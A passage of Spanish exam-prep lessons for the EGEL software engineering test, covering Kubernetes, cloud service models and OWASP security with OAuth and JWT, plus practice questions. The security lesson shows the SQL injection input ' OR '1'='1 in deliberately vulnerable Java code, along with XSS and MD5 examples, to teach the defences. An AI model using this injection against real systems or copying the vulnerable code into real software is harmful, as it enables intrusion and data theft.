[ DEPLOYMENT ] (Controlador de réplicas y estrategia de despliegue)  │\n│        │                                                               │\n│   ┌────┴───────────────────────────┬───────────────────────────────┐   │\n│   ▼                                ▼                               ▼   │\n│ [ POD 1 ] (IP efímera)          [ POD 2 ] (IP efímera)          [ POD 3 ] │\n│ ┌────────────────────────┐      ┌────────────────────────┐      ┌───...│\n│ │ Contenedor App (Docker)│      │ Contenedor App (Docker)│      │      │\n│ └────────────────────────┘      └────────────────────────┘      └──────┘\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Los Objetos Fundamentales de Kubernetes\n\n| Objeto K8s | Definición y Rol Técnico | Característica Clave |\n| :--- | :--- | :--- |\n| **Pod** | La **unidad atómica más pequeña de despliegue** en Kubernetes. Representa uno o más contenedores estrechamente acoplados que comparten la misma dirección IP, espacio de red (`localhost`) y volúmenes de almacenamiento. | Los Pods son **efímeros y mortales**: se crean, mueren y se destruyen; su dirección IP cambia constantemente. |\n| **Deployment** | Objeto declarativo que gestiona el ciclo de vida de los Pods: define cuántas réplicas idénticas deben existir (`replicas: 3`), la imagen Docker y la estrategia de actualización (*RollingUpdate*). | Garantiza la **autoreparación (*Self-Healing*)**: si un Pod colapsa, el Deployment crea automáticamente uno nuevo para mantener el estado deseado. |\n| **Service** | Abstracción de red que asigna una **dirección IP virtual estática e inmutable** y un nombre DNS interno a un conjunto de Pods dinámicos seleccionados mediante etiquetas (*Labels y Selectors*). | Realiza **balanceo de carga interno** round-robin automático entre todas las réplicas sanas de los Pods. |\n| **Ingress** | Enrutador que gestiona el acceso externo HTTP/HTTPS desde internet hacia los Services internos del clúster, proveyendo enrutamiento por rutas (`/api`), nombres de dominio y terminación SSL/TLS. | Actúa como el API Gateway o Reverse Proxy perimetral del clúster. |\n\n---\n\n## 4. Tipos de Servicios en Kubernetes\n\n| Tipo de Service | Visibilidad en Red | Funcionamiento Técnico | Cuándo Seleccionarlo |\n| :--- | :--- | :--- | :--- |\n| **ClusterIP** | **Solo interna al clúster.** (Predeterminado). | Asigna una IP virtual alcanzable únicamente por otros Pods dentro del clúster. | Comunicación privada entre microservicios internos (ej. base de datos o backend privado). |\n| **NodePort** | **Externa en la red de los nodos.** | Abre un puerto dedicado estático de alto rango (30000-32767) en **todos y cada uno de los nodos físicos** del clúster. | Pruebas de desarrollo o cuando no se dispone de un balanceador de carga en la nube. |\n| **LoadBalancer** | **Externa pública en internet.** | Solicita y aprovisiona automáticamente un balanceador de carga gestionado al proveedor de nube (AWS ELB, Google Cloud LB, Azure LB). | Exponer servicios de producción directamente a internet sin Ingress. |\n\n---\n\n## 5. Pruebas de Salud: Liveness vs Readiness vs Startup Probes\n\nKubernetes monitoriza la salud de los contenedores mediante tres tipos de sondas (*Probes*) configurables en el Pod:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        SONDAS DE SALUD EN KUBERNETES                   │\n│                                                                        │\n│   • STARTUP PROBE: \"¿Terminó el arranque pesado de la app?\"            │\n│     Desactiva las otras sondas hasta que la app se enciende por primera│\n│     vez (ideal para arranques lentos de 60 segundos en Java/Spring).   │\n│                                                                        │\n│   • READINESS PROBE: \"¿Está el contenedor listo para recibir tráfico?\" │\n│     Si falla: Kube-Proxy REMUEVE el Pod del Service (no le envía       │\n│     peticiones), pero NO mata el contenedor (permite recuperarse).     │\n│                                                                        │\n│   • LIVENESS PROBE: \"¿Está el contenedor vivo o en un Deadlock?\"       │\n│     Si falla: Kubernetes MATA y REINICIA el contenedor de inmediato.   │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## 6. Escenarios de Decisión Profesional\n\n### Escenario A: Microservicio de Arranque Lento que se Reinicia Infinitamente (*CrashLoopBackOff*)\n- **Problema:** Un microservicio en Java Spring Boot tarda 45 segundos en cargar los contextos de beans de base de datos durante el arranque. El Deployment tiene un `LivenessProbe` configurado para chequear el endpoint `/health` cada 10 segundos con fallo tras 3 intentos.\n- **Consecuencia:** Como a los 30 segundos la app aún está inicializándose, la sonda de liveness falla tres veces y Kubernetes mata el contenedor, entrando en un bucle infinito de reinicios (*CrashLoopBackOff*).\n- **Decisión Técnica:** Implementar un **`StartupProbe`** con `failureThreshold: 30` y `periodSeconds: 2`. El StartupProbe protege la inicialización durante hasta 60 segundos. Las sondas de Liveness y Readiness solo comienzan a evaluar una vez que el StartupProbe reporta éxito.\n\n### Escenario B: Microservicio que se Sobrecarga Temporalmente por Picos de Carga\n- **Problema:** Un contenedor de procesamiento de imágenes se satura de CPU al recibir 50 peticiones simultáneas, tardando 5 segundos en responder. Si se evalúa solo con `LivenessProbe`, K8s interpretará que está congelado y matará el contenedor, empeorando el cuello de botella.\n- **Decisión Técnica:** Configurar adecuadamente un **`ReadinessProbe`**. Cuando el contenedor detecta que su cola de trabajo interna está llena, reporta `HTTP 503` en la sonda de readiness. Kubernetes **remueve temporalmente el Pod del balanceador de carga del Service** sin matarlo, permitiendo que procese su carga en cola en paz hasta volver a estar listo para recibir tráfico.\n\n---\n\n## 7. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Confundir LivenessProbe con ReadinessProbe.**\n\u003e - Si un contenedor no responde porque está sobrecargado temporalmente procesando una tarea legítima, matarlo con un `LivenessProbe` es contraproducente (destruye el trabajo en curso).\n\u003e - La sonda correcta para retirar tráfico sin matar el proceso es **`ReadinessProbe`**.\n\n\u003e **Trampa 2: Conectar un microservicio a la dirección IP directa de un Pod.**\n\u003e En Kubernetes, las IPs de los Pods son efímeras y cambian en cada reinicio. La comunicación entre microservicios **siempre debe realizarse a través del nombre DNS del `Service`** (ej. `http://servicio-pagos.default.svc.cluster.local`), el cual ofrece una IP virtual permanente con balanceo de carga.\n\n\u003e **Trampa 3: Creer que un contenedor incluye su propio kernel de sistema operativo.**\n\u003e Un contenedor **nunca** incluye su propio kernel. Comparte de forma estricta el kernel del sistema operativo del servidor host anfitrión.\n\n---\n\n## 8. Autoevaluación Formativa\n\n### Pregunta 1\n¿Cuál es la diferencia arquitectónica medular entre una Máquina Virtual tradicional gestionada por un hipervisor y un contenedor Docker ejecutado en un servidor Linux?\n- A) Las máquinas virtuales se ejecutan exclusivamente en la nube, mientras que los contenedores solo pueden ejecutarse en computadoras locales de desarrollo.\n- B) Cada máquina virtual incluye su propio sistema operativo huésped completo y hardware virtual emulado por el hipervisor, mientras que los contenedores comparten el mismo kernel del sistema operativo anfitrión y se aíslan mediante Namespaces y cgroups en el espacio de usuario.\n- C) Los contenedores requieren compilación nativa AOT sin sistema de archivos.\n- D) Las máquinas virtuales no consumen memoria RAM estática.\n\n### Pregunta 2\nEn un clúster de Kubernetes en producción, un microservicio de base de datos interno no debe ser accesible bajo ninguna circunstancia desde el internet público, pero debe poder ser consultado de forma balanceada y segura por los microservicios backend que se ejecutan dentro del mismo clúster mediante un nombre DNS estable. ¿Qué tipo de objeto `Service` de Kubernetes debe configurarse para este requerimiento?\n- A) Service de tipo `LoadBalancer`.\n- B) Service de tipo `ClusterIP`.\n- C) Service de tipo `NodePort` con puerto 80 abierto al firewall del nodo.\n- D) Ingress público con certificado SSL comodín.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.5.7 de esta subárea).*\n","title":"3.5.1 Contenedores Docker, optimización de imágenes y orquestación con Kubernetes"},{"children":[],"contentMd":"# Computación en la Nube, Modelos de Servicio (IaaS, PaaS, SaaS, FaaS) y Responsabilidad Compartida\n\nLa computación en la nube (*Cloud Computing*) ha transformado la adquisición y operación de infraestructura tecnológica, sustituyendo los costosos centros de datos físicos locales (*On-Premise*) y las inversiones de capital inicial (*CapEx*) por un modelo flexible de gasto operativo bajo demanda (*OpEx*). En el examen EGEL de Ingeniería de Software, los reactivos evalúan los cinco atributos esenciales definidos por el NIST, la taxonomía de modelos de servicio (IaaS, PaaS, SaaS, FaaS/Serverless), la matriz del **Modelo de Responsabilidad Compartida** y la selección arquitectónica de modelos de despliegue (Pública, Privada, Híbrida y Multi-Cloud).\n\n---\n\n## 1. Los Cinco Atributos Esenciales de la Nube (Estándar NIST SP 800-145)\n\nEl *National Institute of Standards and Technology* (NIST) define formalmente que un servicio solo puede catalogarse como computación en la nube si cumple rigurosamente con cinco características:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                   LOS 5 ATRIBUTOS ESENCIALES DEL NIST                  │\n│                                                                        │\n│   1. Autoservicio bajo Demanda (On-Demand Self-Service):               │\n│      El usuario aprovisiona servidores, almacenamiento o red de forma  │\n│      unilateral y automática sin intervención humana del proveedor.    │\n│                                                                        │\n│   2. Acceso Amplio de Red (Broad Network Access):                      │\n│      Capacidades disponibles a través de la red accesible mediante     │\n│      mecanismos estándar (laptops, teléfonos móviles, tablets).        │\n│                                                                        │\n│   3. Asignación de Recursos en Común (Resource Pooling):               │\n│      Los recursos físicos del proveedor sirven a múltiples clientes    │\n│      (modelo multi-inquilino / multi-tenant) asignados dinámicamente.  │\n│                                                                        │\n│   4. Rápida Elasticidad (Rapid Elasticity):                            │\n│      Los recursos pueden escalarse hacia arriba o abajo de forma       │\n│      automática y casi ilimitada para responder a picos de demanda.    │\n│                                                                        │\n│   5. Servicio Medido (Measured Service):                               │\n│      Los sistemas de nube controlan y optimizan el uso de recursos     │\n│      mediante telemetría de consumo (pago por uso / Pay-as-you-go).    │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## 2. Taxonomía de Modelos de Servicio en la Nube\n\nLa ingeniería de software clasifica los servicios de nube según el nivel de abstracción y control que retiene el cliente frente al proveedor:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        MODELOS DE SERVICIO CLOUD                       │\n│                                                                        │\n│   On-Premise      IaaS             PaaS             FaaS / Serverless │\n│   (Todo tú)       (Infraestructura)(Plataforma)     (Funciones puras) │\n│   ┌──────────┐    ┌──────────┐     ┌──────────┐     ┌──────────┐      │\n│   │App / Data│    │App / Data│     │App / Data│ ◀───│Solo CÓDIGO│     │\n│   ├──────────┤    ├──────────┤     ├──────────┤     ├──────────┤      │\n│   │ Runtime  │    │ Runtime  │ ◀───│Runtime   │     │Runtime   │      │\n│   ├──────────┤    ├──────────┤     ├──────────┤     ├──────────┤      │\n│   │    SO    │ ◀──│   SO     │     │   SO     │     │   SO     │      │\n│   ├──────────┤    ├──────────┤     ├──────────┤     ├──────────┤      │\n│   │Hardware  │    │Hardware  │     │Hardware  │     │Hardware  │      │\n│   └──────────┘    └──────────┘     └──────────┘     └──────────┘      │\n│     (Tú)            (Nube)           (Nube)           (Nube)          │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Matriz Exhaustiva de Modelos de Servicio\n\n| Modelo de Servicio | ¿Qué administra el Proveedor de Nube? | ¿Qué administra el Cliente (Tu Equipo)? | Ejemplos de la Industria | Caso de Uso Óptimo |\n| :--- | :--- | :--- | :--- | :--- |\n| **IaaS (Infrastructure as a Service)** | Hardware físico, servidores, redes, virtualización, almacenamiento en bloque y centros de datos físicos. | **Sistema Operativo huésped**, parches de seguridad del SO, instalación de runtimes, bases de datos, redes virtuales y código de la aplicación. | AWS EC2, Azure Virtual Machines, Google Compute Engine (GCE). | Migración de sistemas legados (*Lift-and-Shift*) que exigen configuraciones específicas de kernel o versiones fijas de software. |\n| **PaaS (Platform as a Service)** | Hardware, red, sistema operativo, parches de seguridad, runtimes (JVM, Node.js, Python), servidores web y escalado automático. | **Código de la aplicación**, configuración de variables de entorno y datos de negocio. | AWS Elastic Beanstalk, Google App Engine, Heroku, Azure App Service. | Equipos de desarrollo que desean entregar software rápidamente sin dedicar tiempo a administrar servidores Linux ni actualizar parches de SO. |\n| **FaaS / Serverless (Function as a Service)** | Absolutamente toda la infraestructura, escalado a cero, aprovisionamiento dinámico de micro-contenedores y balanceo. | **Únicamente funciones de código individuales** que se ejecutan en respuesta a eventos discretos (HTTP, cola, archivo subido). | AWS Lambda, Google Cloud Functions, Azure Functions. | Tareas esporádicas, procesamiento de imágenes subidas a S3, microservicios impulsados por eventos o webhooks con tráfico intermitente. |\n| **SaaS (Software as a Service)** | Toda la pila técnica completa: hardware, SO, aplicación, actualizaciones, parches y copias de seguridad. | **Únicamente sus datos de usuario** y configuración de preferencias de uso. | Microsoft 365, Google Workspace, Salesforce, Slack. | Consumo inmediato de software de oficina, CRM o correo empresarial sin programar. |\n\n---\n\n## 3. Arquitecturas Serverless (Sin Servidor): Características y el \"Cold Start\"\n\nEl paradigma **Serverless** no significa que \"no existan servidores físicos\"; significa que **la existencia de los servidores está completamente abstraída para el desarrollador**:\n- **Escala a Cero (*Scale to Zero*):** Si nadie utiliza la función durante la noche, no hay ninguna instancia encendida y el costo de cómputo es exactamente **$0.00**.\n- **Facturación por Milisegundo:** Solo se paga por el tiempo exacto que la CPU ejecuta la función (redondeado comúnmente a milisegundos).\n\n### El Problema del Arranque en Frío (Cold Start)\n- **Mecánica:** Cuando una función serverless no ha recibido peticiones durante varios minutos, el proveedor de nube destruye el micro-contenedor para liberar memoria RAM. Cuando llega una nueva petición:\n  1. El proveedor debe aprovisionar un nuevo contenedor.\n  2. Descargar el paquete de código.\n  3. Arrancar el runtime (ej. iniciar la JVM de Java o Node.js).\n  4. Ejecutar la función.\n- **Impacto:** La primera petición puede tardar **2 a 3 segundos** en responder (latencia de *Cold Start*).\n- **Mitigación:** Usar lenguajes con arranque instantáneo y baja huella de memoria (Go, Rust, Node.js o Python en lugar de Java tradicional), o habilitar concurrencia aprovisionada (*Provisioned Concurrency*) en el proveedor de nube para mantener instancias calientes precalentadas.\n\n---\n\n## 4. El Modelo de Responsabilidad Compartida (Shared Responsibility Model)\n\nUno de los principios jurídicos y técnicos fundamentales de la seguridad en la nube establece que la seguridad no es responsabilidad exclusiva de una sola parte:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                 MODELO DE RESPONSABILIDAD COMPARTIDA                   │\n│                                                                        │\n│   SEGURIDAD \"DE\" LA NUBE (Responsabilidad del Proveedor - AWS/Azure)   │\n│   • Seguridad física de los centros de datos (guardias, biométricos)   │\n│   • Mantenimiento del hardware de servidores, conmutadores y cables    │\n│   • Seguridad de la capa de virtualización y del hipervisor central    │\n│                                                                        │\n│   SEGURIDAD \"EN\" LA NUBE (Responsabilidad del Cliente - Tu Empresa)    │\n│   • Cifrado de datos en reposo y en tránsito (HTTPS / TLS)             │\n│   • Configuración de firewalls de red y grupos de seguridad (Security G)│\n│   • Gestión de identidades, contraseñas y permisos de acceso (IAM)     │\n│   • Aplicar parches de seguridad al Sistema Operativo en IaaS          │\n│   • Eliminar vulnerabilidades de inyección en el código fuente de la app│\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n\u003e **Regla de Oro en el EGEL:** Si una base de datos en AWS EC2 sufre una fuga masiva porque el desarrollador dejó el puerto 3306 abierto a internet (`0.0.0.0/0`) con contraseña `root/123`, **la culpa es 100% del cliente (Seguridad EN la nube)**, no de AWS.\n\n---\n\n## 5. Modelos de Despliegue de Nube: Pública, Privada, Híbrida y Multi-Cloud\n\n| Modelo de Despliegue | Definición de Infraestructura | Ventajas Principales | Desventajas / Restricciones |\n| :--- | :--- | :--- | :--- |\n| **Nube Pública** | Infraestructura propiedad de un proveedor externo (AWS, Azure, GCP) compartida multi-inquilino a través de internet. | - Cero inversión de capital (*CapEx*).\u003cbr\u003e- Escalabilidad elástica casi infinita.\u003cbr\u003e- Mantenimiento de hardware tercerizado. | - Dependencia de terceros.\u003cbr\u003e- Restricciones regulatorias estrictas de soberanía de datos en ciertos países. |\n| **Nube Privada** | Infraestructura de cómputo operada exclusivamente para una sola organización (on-premise en centros de datos propios o coubicada). | - Control absoluto de hardware y seguridad.\u003cbr\u003e- Cumplimiento de leyes de soberanía nacional de datos. | - Altísimos costos de capital inicial (*CapEx*) en hardware y licencias.\u003cbr\u003e- Mantenimiento y parches a cargo del personal interno. |\n| **Nube Híbrida** | Combinación coordinada de al menos una nube privada local conectada de forma segura (VPN IPsec o enlace dedicado como AWS Direct Connect) con una o más nubes públicas. | - **Lo mejor de ambos mundos:** Permite mantener datos confidenciales o transacciones bancarias en la nube privada y desbordar picos de tráfico elástico (*Cloud Bursting*) a la nube pública. | - Alta complejidad arquitectónica de red, latencias de enlace y gobierno unificado. |\n| **Multi-Cloud** | Estrategia de utilizar deliberadamente dos o más proveedores de nube pública independientes (ej. cómputo en AWS y análisis de datos en Google Cloud BigQuery). | - Evita el bloqueo de proveedor (*Vendor Lock-In*).\u003cbr\u003e- Aprovecha las fortalezas especializadas de cada proveedor. | - Complejidad de administración y mayor sobrecarga operativa en pipelines de despliegue. |\n\n---\n\n## 6. Escenarios de Decisión Profesional\n\n### Escenario A: Startup con Presupuesto Limitado y Crecimiento Impredecible\n- **Problema:** Una nueva aplicación de entrega de comida a domicilio arranca con 500 usuarios pero proyecta crecer a 200,000 usuarios en 6 meses si la campaña publicitaria tiene éxito. No cuentan con ingenieros de infraestructura dedicados (DevOps).\n- **Decisión:** **Modelo PaaS o Serverless (FaaS) en Nube Pública**.\n- **Fundamentación:** Elimina los costos fijos iniciales de hardware. Los desarrolladores se concentran 100% en el código de la aplicación. Si el tráfico es bajo, el costo es mínimo; si el tráfico se dispara un fin de semana, la plataforma escala elásticamente de forma automática sin intervención manual.\n\n### Escenario B: Banco Gubernamental con Restricciones Legales de Almacenamiento de Datos\n- **Problema:** Un banco central debe procesar el expediente crediticio de los ciudadanos. La legislación nacional prohíbe que los datos personales salgan de las fronteras físicas del país o se almacenen en servidores compartidos con otras empresas. No obstante, el banco desea lanzar una aplicación móvil con picos de consultas durante días festivos.\n- **Decisión:** **Arquitectura de Nube Híbrida**.\n- **Fundamentación:** La base de datos central con los datos confidenciales reside permanentemente en la **Nube Privada on-premise** dentro del país, cumpliendo la ley federal. Los servicios web de consulta pública y frontend móvil se despliegan en la **Nube Pública**, comunicándose mediante enlaces privados cifrados dedicados para absorber la elasticidad de los picos festivos.\n\n---\n\n## 7. Errores Comunes y Trampas en el EGEL\n\n\u003e **Trampa 1: Creer que en IaaS el proveedor de nube aplica los parches de seguridad del Sistema Operativo.**\n\u003e En el modelo **IaaS**, el proveedor solo garantiza la máquina virtual y el hardware. La instalación de parches del sistema operativo (ej. parches de Linux o Windows Server), la configuración de antivirus y la administración de usuarios es **responsabilidad exclusiva del cliente**. El proveedor solo asume los parches del SO en **PaaS, FaaS y SaaS**.\n\n\u003e **Trampa 2: Confundir PaaS con SaaS.**\n\u003e - En **PaaS**, el usuario es un **desarrollador de software** que despliega código fuente para que se ejecute (ej. Heroku, App Engine).\n\u003e - En **SaaS**, el usuario es un **usuario final** que consume una aplicación terminada a través de un navegador sin programar nada (ej. Gmail, Salesforce).\n\n\u003e **Trampa 3: Usar funciones Serverless (FaaS) para procesos batch de 3 horas continuas.**\n\u003e Las funciones Serverless tienen un **tiempo de ejecución máximo estricto** (típicamente 15 minutos en AWS Lambda). Intentar ejecutar un proceso pesado de larga duración provocará que el proveedor termine la ejecución forzosamente al alcanzar el timeout. Para tareas largas se deben utilizar contenedores en Kubernetes o máquinas IaaS.\n\n---\n\n## 8. Autoevaluación Formativa\n\n### Pregunta 1\nUna empresa de software contrata un servicio de máquinas virtuales en la nube bajo el modelo de Infraestructura como Servicio (IaaS) para hospedar un sistema de contabilidad. Meses después, un atacante compromete el servidor debido a que el sistema operativo Linux Ubuntu no había recibido actualizaciones de seguridad críticas durante seis meses, aprovechando una vulnerabilidad conocida del kernel. De acuerdo con el Modelo de Responsabilidad Compartida en la nube, ¿quién es el responsable directo de este incidente de seguridad?\n- A) El proveedor de nube, porque es su obligación ingresar a las máquinas virtuales de los clientes para actualizar los sistemas operativos.\n- B) El cliente, ya que en el modelo IaaS la administración, configuración, actualización y aplicación de parches de seguridad del sistema operativo huésped recae exclusivamente en el cliente.\n- C) La organización NIST, por haber definido el estándar de cómputo en la nube.\n- D) Ninguno, ya que los contratos de nube garantizan inmunidad absoluta contra ataques cibernéticos.\n\n### Pregunta 2\nUn equipo de ingeniería requiere implementar un microservicio que convierta documentos PDF subidos por usuarios a imágenes en miniatura. Las subidas de documentos son muy esporádicas e impredecibles: pueden recibirse 5,000 documentos en una hora y luego pasar ocho horas continuas sin recibir ninguna petición. La dirección exige una arquitectura con costo de infraestructura cero durante los periodos de inactividad y auto-escalado automático e instantáneo ante ráfagas. ¿Qué modelo de computación en la nube cumple con estas especificaciones?\n- A) Máquina Virtual dedicada IaaS de alta potencia encendida las 24 horas del día.\n- B) Servidor físico propio en centro de datos local (On-Premise).\n- C) Arquitectura Serverless basada en Función como Servicio (FaaS), que escala a cero cuando no hay eventos y factura exclusivamente por los milisegundos de procesamiento activo.\n- D) Modelo SaaS contratando licencias anuales fijas por usuario de software de oficina.\n\n*(Las soluciones y justificaciones técnicas detalladas se encuentran en la lección 3.5.7 de esta subárea).*\n","title":"3.5.2 Computación en la nube, modelos de servicio (IaaS, PaaS, SaaS, FaaS) y responsabilidad compartida"},{"children":[],"contentMd":"# Seguridad en Aplicaciones de Software: OWASP Top 10, OAuth 2.0 y Tokens JWT\n\nLa seguridad no es una fase opcional o tardía del desarrollo de software; es un atributo no funcional no negociable que debe integrarse desde las primeras etapas del diseño (*Security by Design / DevSecOps*). Una brecha de seguridad puede destruir la reputación corporativa y generar sanciones legales devastadoras. En el examen EGEL de Ingeniería de Software, los reactivos evalúan la identificación y mitigación de las vulnerabilidades del **OWASP Top 10** (inyecciones SQL, XSS, control de acceso roto), la criptografía defensiva (hashing seguro de contraseñas) y los protocolos modernos de autenticación y autorización (**OAuth 2.0, OpenID Connect y JWT**).\n\n---\n\n## 1. El OWASP Top 10: Vulnerabilidades Críticas y Mitigaciones\n\nEl *Open Web Application Security Project* (OWASP) publica el estándar mundial que cataloga los riesgos de seguridad más prevalentes en aplicaciones web:\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        EL OWASP TOP 10 INDUSTRIAL                      │\n│                                                                        │\n│   A01: Broken Access Control ──────▶ Control de Acceso Roto (Top #1)   │\n│   A02: Cryptographic Failures ─────▶ Fallas Criptográficas / Datos Exp │\n│   A03: Injection ──────────────────▶ Inyecciones (SQLi, XSS, Comandos) │\n│   A04: Insecure Design ────────────▶ Diseño Inseguro / Sin Modelado    │\n│   A05: Security Misconfiguration ──▶ Mala Configuración de Seguridad   │\n│   A06: Vulnerable and Outdated ────▶ Dependencias Vulnerables          │\n│   A07: Identification \u0026 Auth ──────▶ Fallas de Autenticación / Brute   │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Análisis Detallado de las Principales Amenazas y Defensas\n\n| Vulnerabilidad OWASP | Mecánica del Ataque | Ejemplo de Código Vulnerable | Solución y Mitigación de Ingeniería |\n| :--- | :--- | :--- | :--- |\n| **A01: Broken Access Control (IDOR)** | Referencia Directa a Objetos Insegura: Un usuario modifica un parámetro en la URL o payload (`/cuenta/105` a `/cuenta/106`) y el servidor le entrega datos de otro cliente sin verificar si es el propietario. | `GET /factura?id=99` ejecutado directamente sin comprobar la sesión del usuario. | **Validación estricta de autorización en cada endpoint:** `SELECT * FROM factura WHERE id = :id AND usuario_id = :usuario_autenticado`. Principio de mínimo privilegio y denegación por defecto. |\n| **A03: SQL Injection (SQLi)** | El atacante introduce comandos SQL maliciosos en campos de entrada de usuario que son concatenados directamente a la sentencia de la base de datos. | `String sql = \"SELECT * FROM users WHERE user = '\" + input + \"' AND pass = '\" + pass + \"'\";` | **Uso obligatorio de Consultas Parametrizadas (*Prepared Statements*)** o frameworks ORM. La consulta se precompila; los datos de usuario se transmiten como literales puros y la base de datos jamás los interpreta como código ejecutable. |\n| **A03: Cross-Site Scripting (XSS)** | El atacante inyecta scripts de JavaScript maliciosos que se almacenan en la base de datos (Stored) o se reflejan en la respuesta (Reflected), ejecutándose en el navegador de otros usuarios para robar cookies o tokens de sesión. | `\u003cdiv\u003eBienvenido \u003c%= request.getParameter(\"nombre\") %\u003e\u003c/div\u003e` | **Escapeo y codificación de salida (*Output Encoding*)**, sanitización de HTML, y configuración del encabezado HTTP **Content Security Policy (CSP)** que prohíbe la ejecución de scripts no autorizados. |\n| **A02: Cryptographic Failures** | Almacenar contraseñas en texto plano o utilizando algoritmos de hashing rápidos y obsoletos (MD5, SHA-1, SHA-256 sin sal) que son trivialmente vulnerables a tablas arcoíris (*Rainbow Tables*) y fuerza bruta con GPUs. | `String hash = md5(password);` | **Funciones de derivación de claves deliberadamente lentas con sal (*Salted Slow Hashes*)**: **bcrypt, Argon2id o PBKDF2**, con factores de trabajo (*cost factor*) ajustables contra ataques de hardware paralelo. |\n\n---\n\n## 2. Inyección SQL: Concatenación vs Sentencias Parametrizadas\n\nAnalicemos la anatomía del ataque más explotado de la historia del software:\n\n```java\n// CÓDIGO VULNERABLE (Concatenación Dinámica):\nString usuario = request.getParameter(\"usuario\"); // El atacante ingresa: ' OR '1'='1\nString pass = request.getParameter(\"password\");\nString sql = \"SELECT * FROM usuarios WHERE username = '\" + usuario + \"' AND password = '\" + pass + \"'\";\n// Sentencia resultante enviada al motor:\n// SELECT * FROM usuarios WHERE username = '' OR '1'='1' AND password = '...'\n// Como '1'='1' es siempre verdadero, el atacante ingresa como administrador sin contraseña.\n\n// CÓDIGO BLINDADO (Prepared Statements):\nString sql = \"SELECT * FROM usuarios WHERE username = ? AND password = ?\";\nPreparedStatement stmt = conn.prepareStatement(sql); // El motor PRECOMPILA la estructura fija\nstmt.setString(1, usuario); // 'usuario' se envía como valor atómico literal\nstmt.setString(2, pass);\nResultSet rs = stmt.executeQuery(); // Imposible alterar la sintaxis lógica del SQL\n```\n\n---\n\n## 3. Autenticación vs Autorización\n\n| Concepto | Pregunta Cardinal | Objetivo de Seguridad | Mecanismo Estándar |\n| :--- | :--- | :--- | :--- |\n| **Autenticación (AuthN)** | **\"¿Quién eres tú?\"** | Verificar la identidad declarada por el sujeto (usuario, servicio o dispositivo). | Contraseña + Factor de Doble Autenticación (MFA/TOTP), Biometría, OpenID Connect (`id_token`). |\n| **Autorización (AuthZ)** | **\"¿Qué permisos tienes para operar?\"** | Determinar si la entidad ya autenticada tiene privilegios para acceder a un recurso específico o ejecutar una acción. | Roles (RBAC), Permisos basados en Atributos (ABAC), Alcances OAuth 2.0 (*Scopes*), Access Tokens. |\n\n---\n\n## 4. El Marco de Trabajo OAuth 2.0 y OpenID Connect (OIDC)\n\n**OAuth 2.0** es un protocolo estándar de **autorización** delegada que permite a una aplicación de terceros acceder a recursos protegidos de un usuario sin conocer su contraseña. **OpenID Connect (OIDC)** es una capa de **identidad/autenticación** construida sobre OAuth 2.0.\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        LOS 4 ROLES DE OAUTH 2.0                        │\n│                                                                        │\n│   1. Resource Owner (Propietario del Recurso): El usuario humano.      │\n│   2. Client (Cliente): La aplicación web, móvil o backend.             │\n│   3. Authorization Server (Servidor de Autorización): Emite tokens tras│\n│      autenticar al usuario (ej. Auth0, Keycloak, Okta, Google).        │\n│   4. Resource Server (Servidor de Recursos / API): Protege los datos   │\n│      del usuario; valida los tokens antes de responder.                │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Los Flujos de Concesión (Grant Types) de OAuth 2.0\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                      FLUJOS CARDINALES DE OAUTH 2.0                    │\n│                                                                        │\n│   A. AUTHORIZATION CODE CON PKCE (Proof Key for Code Exchange):        │\n│      • El estándar de oro para aplicaciones SPA (React/Angular) y      │\n│        aplicaciones móviles nativas (iOS/Android).                     │\n│      • El cliente genera un secreto dinámico temporal (code_verifier   │\n│        y code_challenge) que previene la intercepción del código.      │\n│                                                                        │\n│   B. CLIENT CREDENTIALS (Credenciales de Cliente):                     │\n│      • Comunicación máquina a máquina (M2M) entre microservicios       │\n│        backend sin presencia de ningún usuario humano interactivo.     │\n│      • El servicio envía su 'client_id' y 'client_secret' directamente.│\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n---\n\n## 5. JSON Web Tokens (JWT): Anatomía y Buenas Prácticas\n\nUn **JWT** es un estándar abierto (RFC 7519) que define un mecanismo compacto y autónomo para transmitir información de forma segura entre partes como un objeto JSON cifrado o firmado digitalmente:\n\n$$\\text{Estructura: } \\mathbf{Header}.\\mathbf{Payload}.\\mathbf{Signature}$$\n\n```\n┌────────────────────────────────────────────────────────────────────────┐\n│                        ANATOMÍA DE UN TOKEN JWT                        │\n│                                                                        │\n│   1. HEADER (Rojo):                                                    │\n│      {\"alg\": \"RS256\", \"typ\": \"JWT\"}                                    │\n│      (Define el algoritmo criptográfico de firma y el tipo de token)   │\n│                                                                        │\n│   2. PAYLOAD (Verde):                                                  │\n│      {\"sub\": \"usr_102\", \"role\": \"ADMIN\", \"exp\": 1782345600}           │\n│      (Contiene los 'claims' o declaraciones de identidad y expiración) │\n│      ¡CUIDADO: Es Base64 plano! ¡Cualquiera puede leer su contenido!   │\n│                                                                        │\n│   3. SIGNATURE (Azul):                                                 │\n│      HMACSHA256(Base64(Header) + \".\" + Base64(Payload), ClaveSecreta)  │\n│      (Garantiza la INTEGRIDAD: Si alguien altera el payload en tránsito│\n│       la firma se rompe y el Resource Server rechaza el token)         │\n└────────────────────────────────────────────────────────────────────────┘\n```\n\n### Almacenamiento Seguro de Tokens en el Cliente Web\n- **Antipatrón Gravísimo: Guardar el Access Token en `localStorage` o `sessionStorage`:**\n  Cualquier script de JavaScript malicioso ejecutado a través de una vulnerabilidad **XSS** puede leer `localStorage.getItem('token')` y enviarlo al servidor del atacante, robando la sesión del usuario.\n- **Práctica Recomendada de Ingeniería:** Almacenar los tokens de sesión en una **Cookie con atributos de seguridad estrictos**:\n  - `HttpOnly`: Impide terminantemente que JavaScript del navegador lea la cookie (inmune al robo por XSS).\n  - `Secure`: Obliga a 